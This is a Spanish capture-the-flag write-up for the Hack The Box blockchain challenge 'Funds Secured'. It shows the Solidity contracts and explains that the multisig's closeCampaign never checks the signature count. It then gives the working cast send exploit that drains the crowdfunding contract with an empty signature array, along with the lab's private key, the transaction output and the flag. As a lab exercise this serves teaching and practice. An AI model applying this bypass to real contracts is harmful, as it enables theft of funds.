Funds Secured
5 minutos de lectura
Se nos proporciona un archivo de Solidity llamado Campaign.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {ECDSA} from "./lib/ECDSA.sol";
/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;
address[] public councilMembers;
/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}
/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));
for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);
// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");
// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}
Crowdfunding(crowdfundingContract).closeCampaign(to);
}
/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}
contract Crowdfunding {
address owner;
uint256 public constant TARGET_FUNDS = 1000 ether;
constructor(address _multisigWallet) {
owner = _multisigWallet;
}
receive() external payable {}
function donate() external payable {}
/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}
Y hay otro archivo llamado Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";
contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;
constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}
WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));
// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
También hay una instancia remota en la que obtendremos los parámetros de conexión a la Blockchain:
$ nc 209.97.140.29 32344
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0x0e23d5955ce902970af5ccd504471b4da82ef2100123a69fc319b6eebd193524
Address : 0x50a1a8aeF21c9dF95eACd23912061896A01e7d1f
Crowdfunding contract : 0x82B342C0a3A9DB0c879d05f358E3338947004762
Wallet contract : 0x5784c71A1C7EF55cdcbd80e9Fc7872cbF1AF1f92
Setup contract : 0x401bCe2E49aAf6dE14a6faC4A3cEBeB6D690b2A8
Configuración del entorno
En primer lugar, guardamos los parámetros de conexión como variables de shell:
$ PRIVATE_KEY='0x0e23d5955ce902970af5ccd504471b4da82ef2100123a69fc319b6eebd193524'
$ ADDRESS='0x50a1a8aeF21c9dF95eACd23912061896A01e7d1f'
$ ADDRESS_CROWDFUNDING='0x82B342C0a3A9DB0c879d05f358E3338947004762'
$ ADDRESS_WALLET='0x5784c71A1C7EF55cdcbd80e9Fc7872cbF1AF1f92'
$ export ETH_RPC_URL='http://209.97.140.29:30364'
El propósito del reto es interactuar con los Smart Contracts desplegados (Crowdfunding
y CouncilWallet
) para conseguir que isSolved
devuelva true
(en el Smart Contract llamado Setup
). Para eso, podemos usar cast
de foundry
.
Análisis del código fuente
En el archivo Setup.sol
, vemos que isSolved
devuelve true
cuando address(TARGET).balance == 0
. La dirección TARGET
es una instancia de Crowdfunding
con una instancia dada de CouncilWallet
. Inicialmente, el Smart Contract TARGET
posee 1100 ether
.
Después de eso, solo podemos interactuar con el Smart Contract CouncilWallet
, porque todos los demás métodos están bloqueados o privados. Específicamente, podemos interactuar con closeCampaign
:
/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));
for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);
// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");
// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}
Crowdfunding(crowdfundingContract).closeCampaign(to);
}
Esta función requiere una lista de firmas, una dirección para cerrar una campaña y la dirección de Crowdfunding
a cerrar. No podemos generar firmas válidas porque nos faltan claves privadas, por lo que fallará la verificación.
El fallo de seguridad
Sin embargo, obsérvese que la función no verifica el número de firmas, por lo que podemos enviar una lista vacía y nos saltaremos el bucle for
. Así, podremos ejecutar Crowdfunding(crowdfundingContract).closeCampaign(to)
sin ninguna limitación criptográfica.
Una vez que se llame a esta función, asegurando que to
es la dirección de CouncilWallet
, el balance de TARGET
(la instancia Crowdfunding
) será 0
debido a selfdestruct
:
/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
Implementación
Por lo tanto, solo necesitamos llamar al método anterior con una lista vacía y el resto de los parámetros necesarios:
$ cast send $ADDRESS_WALLET 'closeCampaign(bytes[] memory, address, address)' '[]' $ADDRESS_WALLET $ADDRESS_CROWDFUNDING --private-key $PRIVATE_KEY
blockHash 0x1138f26d62991c61d105bea228c30f7d218bfdbce2f0d5d2d5ea968be938528a
blockNumber 2
contractAddress
cumulativeGasUsed 33404
effectiveGasPrice 3000000000
gasUsed 33404
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x1715897916c321c452c5c69cfbb1a308a0dd9d3fd27aaca8c44eaa247be1e7e7
transactionIndex 0
type 2
Flag
Y ahora el reto está resuelto:
$ nc 209.97.140.29 32344
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{wh0_c0u1d_7h1nk_7h47_y0u_c4n_53nd_4n_3mp7y_1157}